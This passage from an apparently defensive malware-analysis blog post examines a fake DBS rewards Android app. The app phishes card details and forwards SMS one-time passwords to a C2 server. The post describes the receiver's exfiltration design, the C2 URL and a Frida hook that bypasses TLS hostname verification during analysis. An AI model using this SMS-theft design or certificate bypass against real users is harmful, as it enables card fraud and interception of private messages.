alt="" src="https://cdn-images-1.medium.com/max/1024/1*4e7rO_hL_5ipoprts_DfHA.png" /><figcaption>Splash Screen</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udjEBP07yk3h2Fd2ho-ZPQ.png" /><figcaption>Form for submitting credit card details</figcaption></figure><p>After entering the required details, the user will be brought to another screen indicating that 5000 Rewards points will be credited to the user’s account after a period of time. After the workflow, the attacker would have successfully obtained the necessary credit card information to initiate a transaction online. To complete a transaction, an OTP would normally be required. With the application installed, the OTP sent via SMS would be available to the attacker as well because the application would have installed a SMS stealer, exfiltrating all SMSes to the attacker and thus ultimately able to create fraudulent transactions using the victim’s card.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ZUKCvU337E7RLdreBIzlg.png" /><figcaption>Rewards message after submitting the form</figcaption></figure><h3>Technical details</h3><p>To reverse engineer the application, our team uses jadx [7] to decompile the APK into human readable format. Inspecting the AndroidManifest.xml reveals several things about the application:</p><ol><li>It has permission to access SMS on the phone</li><li>It has 3 activities<br>- TqActivity<br>- MainActivity<br>- SplashActivity</li><li>It has 1 service declared<br>- ScreenOnOffBackgroundService</li><li>It has one broadcast receiver declared which can receive the following intents and it is enabled and exported<br>- com.example.autostart.ACTION_IMPLICIT_BROADCAST<br>- com.example.autostart.ACTION_EXPLICIT_BROADCAST<br>- android.provider.Telephony.SMS_RECEIVED</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*hFoQBPAQLHcpfhzzKiqwuw.png" /><figcaption>AndroidManifest.xml</figcaption></figure><p>The application workflow starts with the SplashActivity which will start a service and then launch the MainActiivty which shows the form. The flow is summarised in the diagram below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*k4AvoTPFdUk8oP1vf2a4aQ.png" /><figcaption>Application workflow</figcaption></figure><h4>MyReceiver</h4><p>This is declared in the manifest which allows the Broadcast receiver to execute the onReceive function if the intent filter conditions are met. It will exfiltrate the contents of the SMS to the C2 tagging it with the user’s email and phone number to the URL declared in SplashActivity (https://dbscardservice.com.sg/api/user/sms). Since it is declared in the manifest, it does not require the application to be running in the background to trigger the onReceive function as the enabled and exported attribute are set to true. As long as the user execute the application once, the SMS exfiltration function will still be able to execute after a reboot even if the background service is not running and as long as the user does not force stop the application [8].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ySqYbi9qTyjHt4bPSO1sw.png" /><figcaption>Snippet of code of implemented BroadcastReceiver to exfiltrate SMS content</figcaption></figure><h4>ScreenOnOffBackgroundService</h4><p>The service is responsible for registering the MyReceiver class to listen for SMS_RECEIVE intent dynamically. This is not really necessary as the Broadcast Receiver is declared in the manifest statically as long as the application is executed once.</p><h4>SplashActivity</h4><p>SplashActivity is responsible for starting the background service which will register a broadcast receiver to intercept the content of SMS messages to be exfiltrated to the C2. After 3 seconds of delay, it will start the MainActivity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4e7rO_hL_5ipoprts_DfHA.png" /><figcaption>SplashActivity</figcaption></figure><h4>MainActivity</h4><p>Displays the registration form to collect the following:</p><ol><li>Name</li><li>Mobile number</li><li>Email</li><li>Date of Birth</li><li>Card Number</li><li>Card Holder Name</li><li>Expiry Date</li><li>CVV</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udjEBP07yk3h2Fd2ho-ZPQ.png" /><figcaption>Form to submit user’s credit card information</figcaption></figure><p>Each field will have input validation function before enabling the submission button. In this case, we would like to highlight two input validation functions to submit the form successfully.</p><p>For mobile number, the function expected 10 digits with the first digit only accepting 6 to 9. This clearly does not match a Singapore phone number as Singapore number contains only 8 digits unless the country code is required to be included.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1yZUg3joTkJx6yJsTgZ1gw.png" /><figcaption>Mobile number validation</figcaption></figure><p>For credit card number, in order to fulfill the requirement, a 16 digit number starting 4 to 6 must be submitted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vWQ_VoF9YyFV5Hsgj1HjUw.png" /><figcaption>Credit card validation</figcaption></figure><h4>TqActivity</h4><p>Displays the “rewards” that will be credited to user after completing the registration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ZUKCvU337E7RLdreBIzlg.png" /><figcaption>Reward information after submitting credit card information</figcaption></figure><h3>Dynamic analysis</h3><p>To capture the traffic posted by the malicious application, the requirements are as such:</p><ol><li>A wireless hotspot for the phone to connect to</li><li>DNS server to reply IP address of C2 domain</li><li>HTTPS server to listen on C2 IP</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*csSIJgL8kHnuRZsB8aLQ_A.png" /><figcaption>Analysis setup</figcaption></figure><p>To setup the sniffing machine, we will have to setup a dummy interface with an IP that corresponds to the entry in the DNS server resolving dbscardservice.com.sg. In our analysis, we set the A record of <em>dbscarservice.com</em> to be 2.5.2.5 using pydns [9] listening on the wireless hotspot interface. By doing so, any network traffic to <em>dbscardservice.com</em> would be directed to the dummy1 interface which we can setup a HTTPS server to listen on using python. For the phone to connect to the sniffing machine, <em>hostapd</em> was used to setup a wireless hotspot to connect the two devices such that the sniffer machine is the network gateway.</p><p>Commands to setup a dummy interface:</p><pre>ip link add dummy2 type dummy<br>ip addr add 2.5.2.5/32 dev dummy1<br>ip link set dummy2 up</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*-dcubfaevNWweGySk-8S-g.png" /><figcaption>Interface setup for sniffer machine</figcaption></figure><p>The phone is connected to the wireless hotspot with the DNS server pointing the <em>dbscardservice.com</em> domain to the sniffing machine. When the form is submitted, an error will be displayed indicating that SSL peer verification failed due to self-signed certificate used in setting up the HTTPS server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L6HcujvmpIiIXjTJJfgtmg.png" /><figcaption>Submission of dummy data</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*meWllV9Q4huyhNJy5SBT7A.png" /><figcaption>SSL error when connecting to our fake HTTPS server</figcaption></figure><p>To overcome this issue, frida is used to hook the verify method in OkHostNameVerifier to return true regardless of whether the certificate is trusted. As a result, a POST request is observed at the HTTPS server collecting all the information.</p><pre>let HostnameVerifier = Java.use(&quot;com.android.okhttp.internal.tls.OkHostNameVerifier&quot;);<br>HostnameVerifier[&quot;verify&quot;].implementation = function() {<br>    log(&quot;Verify called&quot;, &quot;Green&quot;);<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*DfKpLzf4T_P3pxo2ER0mOA.png" /><figcaption>Captured credit card information on HTTPS server</figcaption></figure><p>When an SMS is received, another POST request is observed with the content of the message being exfiltrated due to the registered BroadcastReceiver. With the credit card information and SMS exfiltrated, attackers are able to perform online transactions thus successfully scamming the victim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DHcTCz2BVOqUo6Caqwh3nQ.png" /><figcaption>SMS received on phone</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*S5al2prcv-uL_5nAph6jkQ.png" /><figcaption>SMS content received on HTTPS server</figcaption></figure><h3>Recommendations</h3><p>There are recommendations in advisories published by the authorities. As the attack requires user’s interaction, the ultimate success of being scammed depends on the user’s actions such that the recommendations are just mitigations and cannot prevent the malicious application from being executed.</p><ol><li>Do not install APK outside of the play store (Based on user action)</li><li>Remove “Install from unknown sources” from all applications (Based on user action)</li><li>Do not ever allow accessibility permission for any applications (Based on user action)</li><li>Enable Play Protect which is default turned on but not fool proof as new published apps without signature would fall through the cracks. The outcome is rather similar to installing AV which is recommended by the authorities. (Based on technology but limited effectiveness)</li></ol><h3>Conclusion</h3><p>Relating back to the local context where some of the victims claimed that they do not receive any SMS from the bank, it is unlikely this particular malware is able to delete SMS using this technique. In this case, the content of the SMS will still remain in the messaging application. We hope this simple malicious application demonstrates the importance of not installing any unknown applications as nowadays our mobile phones contain lots of sensitive personal information. In the next article, we will cover in detail the SpyNote trojan that is used in the other themes.</p><h3>References</h3><p>[1] <a href="https://www.channelnewsasia.com/singapore/android-malware-scams-ecommerce-facebook-ad-victim-4011551">https://www.channelnewsasia.com/singapore/android-malware-scams-ecommerce-facebook-ad-victim-4011551</a></p><p>[2] <a href="https://www.straitstimes.com/singapore/woman-loses-over-110000-after-downloading-third-party-app-to-buy-durian-tour-ticket">https://www.straitstimes.com/singapore/woman-loses-over-110000-after-downloading-third-party-app-to-buy-durian-tour-ticket</a></p><p>[3] <a href="https://mothership.sg/2023/05/housewife-durian-scam-50k/">https://mothership.sg/2023/05/housewife-durian-scam-50k/</a></p><p>[4] <a href="https://www.straitstimes.com/singapore/online-mooncake-scam-27-people-lose-325000-in-a-month">https://www.straitstimes.com/singapore/online-mooncake-scam-27-people-lose-325000-in-a-month</a></p><p>[5] <a href="https://starlabs.sg/">https://starlabs.sg</a></p><p>[6] <a href="https://www.dbs.com.sg/personal/deposits/bank-with-ease/protecting-yourself-online#security-and-you">https://www.dbs.com.sg/personal/deposits/bank-with-ease/protecting-yourself-online#security-and-you</a></p><p>[7] <a href="https://github.com/skylot/jadx">https://github.com/skylot/jadx</a></p><p>[8] <a href="https://www.vogella.com/tutorials/AndroidBroadcastReceiver/article.html#restrictions-for-defining-broadcast-receiver">https://www.vogella.com/tutorials/AndroidBroadcastReceiver/article.html#restrictions-for-defining-broadcast-receiver</a></p><p>[9] <a href="https://github.com/Douile/pydns">https://github.com/Douile/pydns</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38676a39673a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>